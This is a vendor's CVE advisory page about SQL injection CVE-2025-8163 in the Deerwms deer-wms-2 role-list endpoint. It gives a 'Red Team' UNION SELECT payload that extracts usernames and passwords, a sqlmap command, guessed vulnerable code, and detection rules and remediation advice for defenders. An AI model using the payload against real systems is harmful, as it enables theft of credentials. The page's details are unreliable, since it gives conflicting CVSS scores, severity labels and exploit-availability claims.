☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8163

CVE-2025-8163 SQL Injection in Deerwms
📅 PUBLISHED: 2025-07-25 17:32 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8163 is a critical SQL injection vulnerability discovered in the Deerwms deer-wms-2 application, affecting versions up to 3.3. The flaw resides in the /system/role/list endpoint, specifically within the params[dataScope] parameter. An authenticated attacker can exploit this vulnerability to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score of 6.3 indicates a medium severity, but the ease of exploitation and public availability of the exploit make it a high priority for remediation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the Deerwms application itself.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) - The attacker needs valid credentials to access the vulnerable endpoint.
  • User Interaction (UI): None (N) - No user interaction is required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): High (H) - Successful exploitation can lead to complete disclosure of database contents.
  • Integrity (I): Low (L) - Limited ability to modify data.
  • Availability (A): Low (L) - Potential for limited denial of service.

Threat Level: High. The public availability of the exploit and the low complexity of the attack make this a significant threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the params[dataScope] parameter of the /system/role/list endpoint. The application fails to properly sanitize user input before incorporating it into a SQL query. An attacker can inject malicious SQL code by manipulating the dataScope parameter.

Technical Analysis: The vulnerable code likely constructs a SQL query similar to:

SELECT * FROM roles WHERE data_scope = '{$_POST['params[dataScope]']}'

By providing a crafted input like ' OR '1'='1, the attacker can bypass the intended logic and retrieve all records from the roles table. More sophisticated injections can be used to extract data from other tables, modify data, or execute administrative operations.

Attack Flow:

  1. The attacker authenticates to the Deerwms application.
  2. The attacker sends a POST request to /system/role/list with a malicious params[dataScope] parameter.
  3. The application processes the request without proper sanitization.
  4. The injected SQL code is executed against the database.
  5. The attacker receives the results of the malicious query.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation of user input
String query = "SELECT * FROM roles WHERE data_scope = '" + request.getParameter("params[dataScope]") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

// Patched: Use of parameterized queries
String query = "SELECT * FROM roles WHERE data_scope = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("params[dataScope]"));
ResultSet rs = pstmt.executeQuery();

The patched version uses a PreparedStatement with parameterized queries, which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Valid credentials for the Deerwms application.
  • Network access to the target server.

Exploit Payload:

POST /system/role/list HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=valid_session_id

params[dataScope]=' UNION SELECT username, password FROM users--

Manual Exploitation Steps:

  1. Authenticate to the application and obtain a valid session cookie.
  2. Use a tool like Burp Suite or cURL to send the malicious request.
  3. Analyze the response for extracted data.

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/system/role/list" --data="params[dataScope]=test" --cookie="JSESSIONID=valid_session_id" --batch --dbs

Blue Team (Defensive)

Detection:

  • Monitor for unusual SQL errors in application logs.
  • Look for requests to /system/role/list with suspicious params[dataScope] values containing SQL keywords (e.g., UNION, SELECT, OR).
  • Implement Web Application Firewall (WAF) rules to block SQL injection patterns.

Honeypot:

  • Deploy a honeypot endpoint mimicking /system/role/list to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /system/role/list with params[dataScope] containing SQL keywords.
  • Unusual database error messages in HTTP responses.
  • Outbound database connections from the application server to unexpected IPs.

File IOCs:

  • Modified application logs containing SQL error messages.
  • Unexpected files in the web root directory.

Log IOCs:

  • Application logs showing failed SQL queries with injection patterns.
  • Web server logs showing repeated requests to /system/role/list with varying params[dataScope] values.

Detection Engineering

YARA Rule

rule CVE_2025_8163_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-8163"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8163"
    strings:
        $s1 = "params[dataScope]" ascii wide nocase
        $s2 = " UNION " ascii wide nocase
        $s3 = " SELECT " ascii wide nocase
        $s4 = " OR " ascii wide nocase
        $s5 = " DROP " ascii wide nocase
        $s6 = " INSERT " ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-8163 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the /system/role/list endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8163
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/system/role/list'
        cs-uri-query|contains: 'params[dataScope]'
    keywords:
        - ' UNION '
        - ' SELECT '
        - ' OR '
        - ' DROP '
        - ' INSERT '
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in data
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8163 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/role/list"; http_uri; content:"params[dataScope]"; http_client_body; pcre:"/(UNION|SELECT|OR|DROP|INSERT)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade to the latest patched version of deer-wms-2 provided by Deerwms.
  2. WAF Rules: Deploy WAF rules to block SQL injection patterns in the params[dataScope] parameter.
  3. Input Validation: Implement strict input validation and sanitization for all user-supplied data.

Long-Term Measures:

  1. Code Review: Conduct a thorough code review of all database interactions to ensure parameterized queries are used.
  2. Security Training: Train developers on secure coding practices, particularly regarding SQL injection prevention.
  3. Regular Scanning: Implement regular vulnerability scanning and penetration testing.

Workaround (if patching is not immediately possible):

  • Disable the /system/role/list endpoint or restrict access to it via network controls.
  • Implement a custom filter to block requests containing SQL keywords in the params[dataScope] parameter.

Valters IT
Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8163/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.